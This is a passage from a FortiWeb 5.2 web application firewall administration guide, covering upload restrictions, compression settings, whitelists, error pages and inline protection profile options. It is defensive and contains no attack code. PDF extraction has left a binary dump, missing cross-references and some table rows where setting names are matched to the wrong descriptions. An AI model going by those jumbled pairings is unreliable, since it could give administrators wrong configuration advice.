However, if you do not select a MSOOX restriction but do have an XML or ZIP restriction, the
XML and ZIP restrictions will still apply, and the files will still be restricted.
10.Click OK.
11.Go to Web Protection > Input Validation > File Upload Restriction Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
12.Click Create New.
A dialog appears.
476 FortiWeb 5.2 Patch 2 Administration Guide
13.Configure these settings:
Setting name
Name
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Fortinet 477 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Action
Block Period
Severity
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the connection and generate an alert email and/or log message.
• Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
Block Period
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see
“Defining your proxies, clients, &
X-headers” on page 281 ). Failure to do so may cause FortiWeb to
block all connections when it detects a violation of this type.
The default value is Alert.
Caution:
This setting will be ignored if
is enabled.
Note:
Logging and/or alert email will occur only if enabled and configured. See
Note:
If you will use this rule set with auto-learning, you should select
Alert. If
Action
is Alert & Deny, or any other option that causes the
FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
Action
is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also
“Monitoring currently blocked IPs” on page 639
.
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
478 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Trigger Action
Antivirus Scan
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See
“Configuring triggers” on page 587 .
Enable to scan for trojans. Also enable the signatures (
configure the antivirus-specific
,
(see
“Blocking known attacks & data leaks” on page 405 ).
Attackers often modify HTTP header so that the request’s
Content-Type:
does not match — it indicates an allowed file type, but the byte code contained in the body is actually a virus. This scan ensures that the request actually contains the file type that it professes, and that it is not infected.
14.Click OK.
15.Click Create New to include a rule in the set.
A dialog appears.
16.From the File Upload Restriction Rule drop-down list, select an existing file upload restriction rule that you want to use in the policy.
To view or change the information associated with the item, select the Detail link. The File
Upload Restriction Rule dialog appears. Use the browser Back button to return.
17.Click OK.
18.Repeat the previous steps for each rule that you want to add to the file upload restriction policy.
19.To apply the file upload restriction policy, select it in an inline or offline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
See also
•
•
Connecting to FortiGuard services
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
•
479 FortiWeb 5.2 Patch 2 Administration Guide
Compression & decompression
Similar to SSL/TLS, you can either completely offload compression to FortiWeb to save resources on your web servers, or temporarily decompress only as needed to scan and/or modify traffic that has already been compressed by your web servers.
Configuring compression/decompression exemptions
If necessary, you can exempt HTTP Host: names and URLs from compression or decompression by FortiWeb. Generally, if a specific web server already applies compression, and if a specific response never needs to be scanned, compressed, or rewritten, it should be exempt from compression/decompression by FortiWeb.
If compressed, a request or response usually cannot be scanned, rewritten, or otherwise modified by FortiWeb. If you exempt vulnerable URLs, this will compromise the security of your network.
To configure a rule exclusion
1. Go to Application Delivery > Compression > Exclusion Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click Create New.
A dialog appears.
Clear all
Edit
Delete
3. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. Click OK.
Fortinet 480 FortiWeb 5.2 Patch 2 Administration Guide
5. Click Create New.
A dialog appears.
6. Enable Host Status to require that the Host: field of the HTTP request match a protected host names entry in order to match the exclusion.
Also configure Host.
7. From the Host drop-down list, select which protected host entry that the Host: field of the
HTTP request must be in to match the exclusion.
This option is available only if Host Status is enabled.
8. In Request URL, type the exact URL of the page to use in the exclusion.
The URL must begin with a slash ( / ). The URL must not include the domain or IP address.
9. Click OK.
10.Include the exception in a compression or decompression policy (see
“Configuring compression offloading” on page 481 or
“Configuring temporary decompression for scanning & rewriting” on page 484 ).
Configuring compression offloading
Most web servers can be configured to compress files when responding to a request.
Compressed files often reduce bandwidth, and can result in faster delivery time to clients.
(Modern browsers automatically decompress files before displaying the web pages.)
To successfully decompress and read the response, clients use the corresponding decompression algorithm. Web servers include an HTTP header such as:
Content-Encoding: gzip to indicate which algorithm was used to compress the HTTP body:
^_<8B>^H^H+h,M^@^Cimage.png^@<EC><FC>St<AE>K<D4><EF><8B><C6>^\1G<AC>
^Q<DB>
<U+0588>Fl
۶m۶m۶m<DB>^Y<D1>N<E6><9C><DF>^<AB><B5>sq<CE><D5><D9><FB>b<
A5><B5>\<BC><EF><F3>T/<F5><AA><EA><BF>^?<F5>$DZR^X^F
^C
^@^@^@?<80>,^@^@
<EF><D7><EF>6^D<D8><D7>7<F3><E1><F5>^B^@^@x^@^?^D<F8><E4><9D>
(content truncated)
If want to gain the benefits that compression offers, but do not want to configure it on your web servers, you can offload compression to FortiWeb instead.
If your web servers are starved for CPU cycles and RAM, offloading compression from your web servers to FortiWeb can alleviate that bottleneck and improve performance.
Fortinet 481 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Based upon the HTTP Content-Type: headers that you select (which correspond to Internet file type/MIME type categories such as images and XML), FortiWeb will compress matching responses. The total size of a large web page with lengthy JavaScripts and CSS, while in transit, could be many times smaller.
The maximum pre-compressed file size that FortiWeb can compress is 128 KB. Files larger than that limit will be transmitted without compression.
For example, a typical web page is comprised of several responses, such as an HTML document:
Content-Type: text/html perhaps several images:
Content-Type: image/png and a JavaScript:
Content-Type: text/javascript
If your protected web servers do not already apply compression, and you configure a compression policy for text/html and text/javascript, those typically lengthy and repetitive text-based documents can be efficiently compressed into much smaller responses. If bandwidth between server and client is the performance bottleneck, this could improve performance dramatically.
Not all HTTP clients support compression: RPC clients, for example, transmit binary data and do not support compression. For those host names and/or URLs, you should create exceptions.
To configure a file compression policy
1. Before you configure file compression, configure the exceptions, if any. See
“Configuring compression/decompression exemptions” on page 480 .
If your web servers are already configured to compress responses, you should either disable compression on the server, or configure exceptions for URLs hosted by that server.
Otherwise, in some cases, FortiWeb might expend resources compressing responses that have already been compressed by the server. This can cause performance to decrease instead of increase.
2. Go to Application Delivery > Compression > File Compress Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
482 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New.
A dialog appears.
Clear all
Delete
4. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. From Exclusion URL, you can select an existing exclusion. (See
“Configuring compression/decompression exemptions” on page 480 .)
Optionally, select an exclusion and click the Detail link. The exclusion dialog appears. You can view and edit the exclusion. Use the browser Back button to return.
6. Click OK.
7. To add or remove a content type, click Add Content Type.
A dialog appears.
Fortinet
8. In the Content Types list, select the content types that you want to compress, then click the right arrow (->) to move them to the Allow Types list.
For external JavaScripts, content type strings vary. If you are unsure of the content type string, for maximum coverage, select all JavaScript content type strings. However, due to wide browser compatibility, despite its current deprecated status, many web servers use text/javascript
.
These apply compression only to JavaScripts that are external to a web page — that is, not directly embedded in a <script> tag or inline in the HTML document itself, but instead included via reference to a JavaScript file, such as <script src="/nav/menu.js">, and therefore are contained in a separate HTTP response from the HTML document. Likewise, selecting the text/css content type for compression will only compress external CSS. It will
not compress CSS embedded directly within the HTML file. (Embedded CSS or JavaScript are governed by Content-Type: text/html instead.)
9. Click OK.
10.To apply the compression policy, select it in an inline protection profile used by a server policy (see
“Configuring a protection profile for inline topologies” on page 492 ).
483 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
•
•
Configuring temporary decompression for scanning & rewriting
Similar to SSL/TLS inspection, in order for some features to function, you must configure the appliance for compression inspection, or to decompress and then re-compress traffic.
If the HTTP body is compressed, FortiWeb cannot parse it for rewriting, nor scan for potential problems such as a data leak or virus. Traffic that is encrypted and/or compressed is not a normalized stream. Bodies of compressed responses effectively have low-grade encryption: they are not in clear text, and therefore do not match signatures, and cannot be rewritten.
How, then, can you scan or rewrite compressed traffic?
If your protected web servers compress files themselves (i.e. compression has not been offloaded to FortiWeb), configure a FortiWeb decompression policy.
You can configure FortiWeb to temporarily decompress the body of a response based on its file type, which is specified by the HTTP Content-Type: header. The appliance can then inspect the traffic. After, if there is no policy-violating content nor rewriting required, the FortiWeb appliance will allow the compressed version of the response to pass. Otherwise, if modification is required, FortiWeb will modify the response before re-compressing it and passing it to the client.
The maximum compressed file size that FortiWeb can decompress is configured in
. By default, files larger than that limit are passed along without scanning
or modification. This could allow malware to reach your web servers, and cause HTTP
body rewriting to fail. If you prefer to block requests greater than this buffer size, configure
. To be sure that it will not disrupt normal traffic, first configure
to be Alert.
If no problems occur, switch it to Alert & Deny.
The response headers must include Content-Encoding: gzip in order to match the decompression policy. Other compression algorithms are not currently supported.
To configure a decompression policy
1. Configure your web servers to compress their responses.
2. Before you configure the decompression policy, configure the exceptions, if any, that you want it to include. See
“Configuring compression/decompression exemptions” on page 480 .
3. Go to Application Delivery > Compression > File Uncompress Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
Fortinet 484 FortiWeb 5.2 Patch 2 Administration Guide
4. Click Create New.
A dialog appears.
Clear all
Delete
5. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
6. Click OK.
7. From Exclusion URL, you can select an existing exclusion. (See
“Configuring compression/decompression exemptions” on page 480 .)
Optionally, select an exclusion and click the Detail link. The exclusion dialog appears. You can view and edit the exclusion. Use the browser Back button to return.
8. To add or remove a content type, click Add Content Type.
A dialog appears.
Fortinet
9. In the Content Types list, select the content types that you want to decompress, then click the right arrow (->) to move them to the Allow Types list.
For external JavaScripts, content type strings vary. If you are unsure of the content type string, for maximum coverage, select all JavaScript content type strings. However, due to wide browser compatibility, despite its current deprecated status, many web servers use text/javascript
.
These decompress only JavaScripts that are external to a web page — that is, not directly embedded in a <script> tag or inline in the HTML document itself, but instead included via reference to a JavaScript file, such as <script src="/nav/menu.js">, and therefore are contained in a separate HTTP response from the HTML document. Likewise, selecting the text/css
content type for compression will only compress external CSS. It will not decompress CSS embedded directly within the HTML file. (Embedded CSS or JavaScript are governed by Content-Type: text/html instead.)
10.Click OK.
11.To apply a decompression policy, select it in an inline or offline protection profile used by a
server policy (see “Configuring a protection profile for inline topologies” on page 492
or
485 FortiWeb 5.2 Patch 2 Administration Guide
).
See also
•
Fortinet 486 FortiWeb 5.2 Patch 2 Administration Guide
Policies
The Policy menu configures policies and protection profiles.
You can configure most protection features and traffic modification at any time. However,
most features will not be applied until you include them in a policy that governs traffic
(either directly or indirectly, via protection profiles).
See also
•
Supported features in each operation mode
•
Matching topology with operation mode & HA mode
How operation mode affects server policy behavior
Policy and protection profile behavior and supported features varies by the operation mode.
(See also “Supported features in each operation mode” on page 69 .)
Table 43: Policy behavior by operation mode
Operation mode
Reverse Proxy
Matches by
Violations
Profile support
•
•
Service
Virtual server
Offline Protection
Virtual server’s network interface, but not its IP address.
True Transparent
Proxy
Transparent
Inspection
V-zone (bridge), but not its IP address.
V-zone (bridge), but
not its IP address.
Blocked or modified, according to profile.
Attempts to block by mimicking the client or server and requesting to reset the connection; does not modify otherwise.
Blocked or modified, according to profile.
• Inline protection profiles
• Offline protection profiles
• Auto-learning profiles • Auto-learning profiles
• Inline protection profiles
• Auto-learning profiles
Attempts to block by mimicking the client or server and requesting to reset the connection; does not modify otherwise.
• Offline protection profiles
• Auto-learning profiles
Fortinet 487 FortiWeb 5.2 Patch 2 Administration Guide
Table 43: Policy behavior by operation mode
SSL
Operation mode
Reverse Proxy Offline Protection True Transparent
Proxy
Transparent
Inspection
Certificate used to offload SSL from the servers to FortiWeb; can optionally re-encrypt before forwarding to the destination server.
Certificate used to decrypt and scan only; does not act as an SSL origin or terminator.
Certificate used to decrypt and scan only; does not act as an SSL origin or terminator.
Certificate used to decrypt and scan only; does not act as an
SSL origin or terminator.
Forwarding
• Forwards to a single web server or member of a server farm using the port number where it listens; similar to a network address translation (NAT) policy on a general-purpose firewall.
• Can load balance or route connections to a specific server based upon HTTP content.
Lets the traffic pass through to a member of a server farm, but does
not load-balance.
Forwards to a member of a server farm (but allowing to pass through, without actively redistributing connections) using the port number where it listens.
Lets the traffic pass through to a member of a server farm, but does not load balance.
When determining which policy to apply to a connection, FortiWeb matching behavior varies by operation mode. The FortiWeb appliance will apply only one policy to each connection.
If a TCP connection does not match any of the policies, the FortiWeb appliance will either refuse the connection (if operating in reverse proxy mode) or deny the connection (if operating in other operation modes). Even if the TCP connection has a matching policy and is allowed, subsequently, if the HTTP/HTTPS request is not allowed by the policy’s profiles, it is considered to be in violation of the policy, and the client may be blocked at the application (request) level or connection level, depending on the Action that you configure.
Policies are not applied while they are disabled. See
“Enabling or disabling a policy” on page 524 .
Configuring the global object white list
Server Objects > Global > Predefined Global White List displays a predefined list of common
Internet entities, such as:
• the FortiWeb session cookie named cookiesession1
• Google Analytics cookies such as __utma
• the URL icon /favicon.ico
• AJAX parameters such as __LASTFOCUS that your FortiWeb appliance can ignore when it enforces your policies. FortiGuard FortiWeb
Security Service service updates the predefined global white list. However, you can also
Fortinet 488 FortiWeb 5.2 Patch 2 Administration Guide
whitelist your own custom URLs, cookies, and parameters on Server Objects > Global >
Custom Global White List.
When enabled, whitelisted items are not flagged as potential problems, nor incorporated into auto-learning data. This feature reduces false positives and improves performance.
To include white list items during policy enforcement and auto-learning reports, you must first disable them in the global white list.
To disable an item in the predefined global white list
1. Go to Server Objects > Global > Predefined Global White List.
Fortinet
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
2. To see the items that each section contains and to expose those items’ Enable check box, click the blue expansion arrows.
3. In the row of the item that you want to disable, clear the check box in the Enable column.
4. Click Apply.
5. To verify that an item is no longer whitelisted, you can enable auto-learning, then make a request to a protected web site. The auto-learning report should omit any items that you have disabled, such as the /favicon.ico URL. Alternatively, use the parameter or URL to attempt to trigger an attack signature that should block it.
To configure a custom global whitelist
1. Go to Server Objects > Global > Custom Global White List.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
2. Click Create New.
489 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
3. From Type, select the part of the HTTP request where you want to white list an object.
Available configuration fields vary by the type that you choose.
• If Type is URL:
Request Type
Request URL
Indicate whether the
field will contain a literal URL
(Simple String), or a regular expression designed to match multiple URLs (Regular Expression).
Depending on your selection in the
field, enter either:
• the literal URL, such as /robots.txt, that the HTTP request must contain in order to match the rule. The URL must begin with a backslash ( / ).
• a regular expression, such as ^/*.html, matching all and only the URLs to which the rule should apply. The pattern does not require a slash ( / ); however, it must at match URLs that begin with a slash, such as /index.html.
Do not include the domain name, such as www.example.com.
To create and test a regular expression, click the >> (test) icon.
This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704 )
• If Type is Parameter, in Name, type the name of the variable exactly as it appears in the
URL or HTTP body (varies by HTTP GET/POST method).
For example, if the URL ends with the parameter substring ?userName=rowan, you would type userName (note the capital letter).
• If Type is Cookie:
Name
Domain
Path
Type the name of the cookie as it appears in the HTTP request, such as NID.
Type the partial or complete domain name or IP address as it appears in the cookie, such as:
• www.example.com
•
.google.com
•
10.0.2.50
If clients sometimes access the host via IP address instead of
DNS, create white list objects for both.
Caution: Do not whitelist untrusted subdomains that use vulnerable cookies. It could compromise the security of that domain and its network.
Type the path as it appears in the cookie, such as / or
/blog/folder
.
4. Click OK.
5. To verify that an item is now whitelisted, you can enable auto-learning, then make a request to a protected web site. The auto-learning report should include any items that you have whitelisted. Alternatively, use the parameter or URL to attempt to trigger an attack signature that would normally block it; the item should now be allowed.
490 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
•
•
Uploading a custom error page
Error pages can be displayed when a client violates a policy where the Action is Alert & Deny in its protection profile. Because error pages from the web server frequently mention the web server version and application stack, such as this one from Apache (server information disclosure highlighted in red):
Not Found
The requested URL /dne was not found on this server.
Apache/2.2.3 (Red Hat) Server at wiki.example.com Port 80
or this one from WebSphere (server and source code information disclosure highlighted in red):
JSP Processing Error
HTTP Error Code: 404
Error Message: JSPG0036E: Failed to find resource
/fr/investissement/accueil.jsp
Root Cause:
java .io.FileNotFoundException: JSPG0036E: Failed to find resource /fr/investissement/accueil.jsp
at com.
ibm.ws
.jsp.webcontainerext.AbstractJSPExtensionPro
cessor.findWrapper(AbstractJSPExtensionProcessor.java:
395) at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionPro
cessor.handleRequest(AbstractJSPExtensionProcessor.jav
a:349) at com.ibm.ws.webcontainer.
webapp .WebApp.handleRequest(We bApp.java:3933)
(output abbreviated) at com.ibm.ws.tcp.channel.impl.
WorkQueueManager$Worker .ru
n(WorkQueueManager.java:1069) at com.ibm.ws.util.
ThreadPool$Worker .run(ThreadPool.java:
1604)
Fortinet this can be used for fingerprinting before an attack, you can craft a generic page that refers anyone who receives the page by accident to simply contact a network administrator.
491 FortiWeb 5.2 Patch 2 Administration Guide
To configure an error page
1. Using an HTML editor, create an HTML page that includes your chosen error message.
If you plan to display just one page, name it index.html. To use multiple pages such as with a frame set, make sure the entry point is index.html. The pages may include external files such as graphics and CSS if necessary.
2. Compress the page or pages and any accompanying graphics or auxiliary files into a .zip,
.gz
, or .tgz archive.
The compressed file must not exceed 1 MB.
3. Go to Server Objects > Error Page > Error Page.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
4. Click Create New.
A dialog appears.
5. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
6. Click Browse and locate the compressed error message file you created.
7. Click OK.
Your web browser uploads the file. The FortiWeb appliance examines the file you select. It will reject any file that does not meet all requirements for file naming, supported compression format, and maximum size.
To preview the uploaded page, mark its check box in the list of custom error pages, then click View in the tool bar. The error page will be displayed in the frame to the right of the web
UI navigation menu. To return to the list of error pages, click Return.
8. To apply an error page to blocked requests, select it from
Error Page
in a server policy (see
“Configuring a server policy” on page 509
).
Configuring a protection profile for inline topologies
Inline protection profiles combine previously configured rules, profiles, and policies into a comprehensive set that can be applied by a policy. Inline protection profiles contain only the features that are supported in inline topologies, which will be used with operation modes such as reverse proxy and true transparent.
Inline protection profiles’ primary purpose is to block attacks, especially for use in conjunction with auto-learning profiles. If used in conjunction with auto-learning profiles, you should
Fortinet 492 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet configure the offline protection profile to log but not block attacks in order to gather complete session statistics for the auto-learning feature.
Inline protection profiles include features that require an inline network topology. They can be configured at any time, but cannot be applied by a policy if the FortiWeb appliance is operating in a mode that does not support them. For details, see
.
To configure an inline protection profile
1. Before configuring an inline protection profile, first configure any of the following that you want to include in the profile:
To save time, you may be able to use auto-learning to generate protection profiles and their
components by observing your web servers’ traffic. For details, see “Auto-learning” on page 160
.
•
an X-Forwarded-For: or other X-header rule (see “Defining your proxies, clients, &
)
•
a file upload restriction (see “Limiting file uploads” on page 475 )
• an allowed method set (see
“Specifying allowed HTTP methods” on page 459 )
• a URL access rule (see
“Restricting access to specific URLs” on page 339
)
•
a signature set (see “Blocking known attacks & data leaks” on page 405
) and/or padding oracle racle protection rule (see
“Defeating cipher padding attacks on individually encrypted inputs” on page 429
)
• a page order rule (see
“Enforcing page order that follows application logic” on page 433 )
•
a parameter validator (see “Validating parameters (“input rules”)” on page 444
)
•
a hidden fields protector (see “Preventing tampering with hidden inputs” on page 453
)
•
a start pages rule (see “Specifying URLs allowed to initiate sessions” on page 438
)
•
a brute force login attack detector (see “Preventing brute force logins” on page 375
• a protocol constraints rule (see
“HTTP/HTTPS protocol constraints” on page 463 )
• a rewriting or redirection set (see
“Rewriting & redirecting” on page 379
)
• a content caching rule (see
)
•
an authentication policy (see “Offloading HTTP authentication & authorization” on page 234 )
• a site publishing policy (see
“Single sign-on (SSO)” on page 253
)
• a file compression rule (see
“Configuring compression offloading” on page 481
)
•
•
a DoS protector (see “Grouping DoS protection rules” on page 373
)
• a client IP set (see
“Blacklisting & whitelisting clients using a source IP or source IP range” on page 353
)
•
the IP reputation policy (see “Blacklisting source IPs with poor reputation” on page 348 )
• a trigger if you plan to use policy-wide log and alert settings (see
“Configuring triggers” on page 587 )
493 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to Policy > Web Protection Profile > Inline Protection Profile.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
Alternatively, click the Clone icon to copy an existing profile as the basis for a new one. The predefined profiles supplied with your FortiWeb appliance cannot be edited, only viewed or cloned.
A dialog appears.
Fortinet 494 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet 495 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Session
Management
Description
Enable to add a cookie to the reply in order for FortiWeb to be able to track the state of web applications across multiple requests (i.e., to implement HTTP sessions). Also configure Session Timeout.
IPv6 support .This feature adds the FortiWeb’s own session support,
and does not duplicate or require that your web applications have its
own sessions. For details, see “HTTP sessions & security” on page 34
.
Note: Enabling this option is required if:
•
you select features requiring session cookies, such as
• in any policy, you will select an auto-learning profile with this profile
• you want to include this profile’s traffic in the traffic log
Note: This feature requires that the client support cookies. RPC clients and browsers where the person has disabled cookies do not support FortiWeb HTTP sessions, and therefore also do not support
FortiWeb features that are dependent upon them.
Session Timeout
Type the HTTP session timeout in seconds.
After this time elapses during which there were no more subsequent requests, after which the FortiWeb appliance will regard the next request as the start of a new HTTP session.
is enabled. The default is 1200 (20 minutes).
X-Forwarded-For
Select the X-Forwarded-For: and X-Real-IP: HTTP header
settings to use, if any. For details, see “Defining your proxies, clients,
Note: Configuring this option is required if the true IP address of the client is hidden from FortiWeb because a load balancer or other web proxy is deployed in front. In that case, you must configure an
X-header rule so that FortiWeb will block only requests related to the original client. Otherwise, it may block all requests whenever any attack occurs, since all requests will appear to originate from the proxy’s IP.
496 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Cookie Poisoning
Detection
Enable to detect cookie poisoning, then select which of the following actions the FortiWeb appliance will take if cookie tampering is detected:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request and generate an alert and/or log message.
• Period Block — Block requests for a specified number of seconds as set in the accompanying field to the right. The range is 1 to
3600. See also
“Monitoring currently blocked IPs” on page 639 .
Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see
“Defining your proxies, clients, &
X-headers” on page 281 ). Failure to do so may cause FortiWeb to
block all connections when it detects a violation of this type.
• Remove Cookie — Accept the request, but remove the poisoned cookie from the datagram before it reaches the web server, and generate an alert and/or log message.
For more information on logging and alerts, see
“Configuring logging” on page 575 .
IPv6 support . When enabled, each cookie is accompanied by a
cookie named <cookie_name>_fortinet_waf_auth, which tracks the cookie’s original value when set by the web server. If the cookie returned by the client does not match this digest, the FortiWeb appliance will detect cookie poisoning. This feature can be useful to prevent many types of cookie-based attack, such as session ID fraud.
Note: This feature requires that the client support cookies.
Signatures
Select the name of the signature set, if any, that will be applied to matching requests. Also configure
Enable AMF3 Protocol Detection
.
Attack log messages for this feature vary by which type of attack was
detected. For a list, see “Blocking known attacks & data leaks” on page 405 .
Enable AMF3
Protocol Detection
Enable to scan requests that use action message format 3.0 (AMF3) for:
• cross-site scripting (XSS) attacks
• SQL injection attacks
• common exploits and other attack signatures that you have enabled in
Signatures
.
AMF3 is a binary format that can be used by Adobe Flash/Flex clients to send input to server-side software.
Caution: To scan for attacks or enforce input rules on AMF3, you
must enable this option. Failure to enable the option will cause the
FortiWeb appliance to be unable to scan AMF3 requests for attacks.
497 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Enable XML
Protocol Detection
Enable to scan for matches with attack and data leak signatures in
Web 2.0 (XML AJAX), SOAP, and other XML submitted by clients in the bodies of HTTP POST requests.
Illegal XML Format Enable to validate that XML elements and attributes in the request’s body conforms to the W3C XML 1.1
and/or XML 2.0
standards.
Malformed XML, such as without the final > or with multiple >> in the closing tag, is often an attempt to exploit an unhandled error condition in a web application’s XHTML or XML parser.
Attack log messages contain Illegal XML Format when this feature detects malformed XML.
Caution: If your back-end web servers require extensive protection for a vulnerable XML parser, you should add 3 rd -party XML protection to your security architecture. Unlike XML protection profiles in previous versions of FortiWeb,
conformity with the document object model (DOM)/DTD/W3C
Schema, recursive payloads, Schema poisoning, or other advanced
XML attacks. It also cannot encrypt or sign XML elements. Failure to
provide adequate XML protection could allow attackers to
penetrate your network.
Custom Rule
Padding Oracle
Protection
Select the name of a combination source IP, rate limit, HTTP header, and URL access policy, if any, that will be applied to matching
requests. See “Combination access control & rate limiting” on page 343 .
Attack log messages contain Custom Access Violation when this feature detects a violation.
Select the name of padding oracle protection rule, if any, that will be
Attack log messages contain Padding Oracle Attack when this feature detects a violation.
Parameter
Validation
Hidden Fields
Protection
Select the name of the parameter validation rule, if any, that will be applied to matching requests. See
“Validating parameters (“input rules”)” on page 444 .)
Attack log messages contain Parameter Validation Violation when this feature detects a parameter rule violation.
Select the name of the hidden fields protection rule, if any, to use to protect hidden fields on your web site. See
“Preventing tampering with hidden inputs” on page 453 .
Attack log messages contain Hidden Field Manipulation when this feature detects tampering.
498 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
File Upload
Restriction
HTTP Protocol
Constraints
Brute Force Login
Select the name of a brute force login attack profile, if any, that will be applied to matching requests. See
“Preventing brute force logins” on page 375 .
Attack log messages contain Brute Force Login Violation when this feature detects a brute force login attack.
URL Access
Select the name of an HTTP parameter constraint, if any, that will be applied to matching requests. See
“HTTP/HTTPS protocol constraints” on page 463 .
Attack log messages for this feature vary by which type of constraint was violated.
Select the name of the URL access policy, if any, that will be applied to matching HTTP requests. See
“Restricting access to specific
.
Attack log messages contain URL Access Violation when this feature detects a URL matched by this policy.
Page Access
Description
Select an existing file upload restriction policy, if any, that will be applied to matching HTTP requests. See
“Limiting file uploads” on page 475 .
Attack log messages contain Illegal File Size when this feature detects an excessively large upload.
Start Pages
Allow Method
Select the page access rule, if any, that defines the URLs that must be
accessed in a specific order. See “Enforcing page order that follows application logic” on page 433
.
Attack log messages contain Page Access Violation when this feature detects an illegal request order.
This option appears only when Session Management is enabled.
Select the start pages rule, if any, that represent legitimate entry
.
Attack log messages contain Start Page Violation when this feature detects a session attempting to initiate illegally.
This option appears only when Session Management is enabled.
Select an existing allow method policy, if any, that will be applied to
matching HTTP requests. See “Specifying allowed HTTP methods” on page 459 .
Attack log messages contain HTTP Method Violation when this feature detects a non-allowed HTTP request method.
IP List
Geo IP
Select the name of a client white list or black list, if any, that will be applied to matching requests. See
“Blacklisting & whitelisting clients using a source IP or source IP range” on page 353
.
Select the name of a geographically-based client black list, if any, that
will be applied to matching requests. See “Blacklisting countries & regions” on page 350 .
499 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
DoS Protection
IP Reputation
Allow Known
Search Engines
URL Rewriting
HTTP
Authentication
Description
Select the name of an existing DoS prevention policy. For details, see
“Grouping DoS protection rules” on page 373 .
Enable to apply IP reputation intelligence. See
“Blacklisting source IPs with poor reputation” on page 348
.
Enable to exempt popular search engines’ spiders from DoS sensors, brute force login sensors, HTTP protocol constraints, and combination rate & access control (called “advanced protection” and
“custom policies” in the web UI).
This option improves access for search engines. Rapid access rates, unusual HTTP usage, and other characteristics that may be suspicious for web browsers are often normal with search engines. If you block them, your web sites’ rankings and visibility may be affected.
By default, this option allows all popular predefined search engines.
Known search engine indexer source IPs are updated via FortiGuard
Security Service. To specify which search engines will be exempt, click the Details link. A new frame will appear on the right side of the protection profile. Enable or disable each search engine, then click
Note: X-header-derived client source IPs (see
“Defining your proxies, clients, & X-headers” on page 281 ) do not support this feature in this
release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work.
Select the name of a URL rewriting rule set, if any, that will be applied to matching requests.
For details, see “Rewriting & redirecting” on page 379 .
Select the name of an authorization policy, if any, that will be applied
If the client fails to authenticate, it will receive an HTTP 403 Access
Forbidden
error message.
Site Publish
File Compress
Select the name of a site publishing policy, if any, that will be applied
to matching requests. For details, see “Single sign-on (SSO)” on page 253 .
Select the name of an compression policy, if any, that will be applied
to matching requests. For details, see “Configuring compression offloading” on page 481 .
File Uncompress
Select the name of a decompression policy, if any, that will be applied
Web Cache
Select the name of a content caching policy, if any, that will be used for matching requests. See
.
500 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Redirect URL
Description
Type a URL including the FQDN/IP and path, if any, to which a client will be redirected if:
• its request violates any of the rules in this profile, and
• the
for the rule is set to Redirect.
For example, you could enter: www.example.com/products/
If you do not enter a URL, depending on the type of violation and the configuration, the FortiWeb appliance will log the violation, may attempt to remove the offending parts, and could either reset the connection or return an HTTP 403 Access Forbidden or 404
File Not Found
error message.
Redirect URL With
Reason
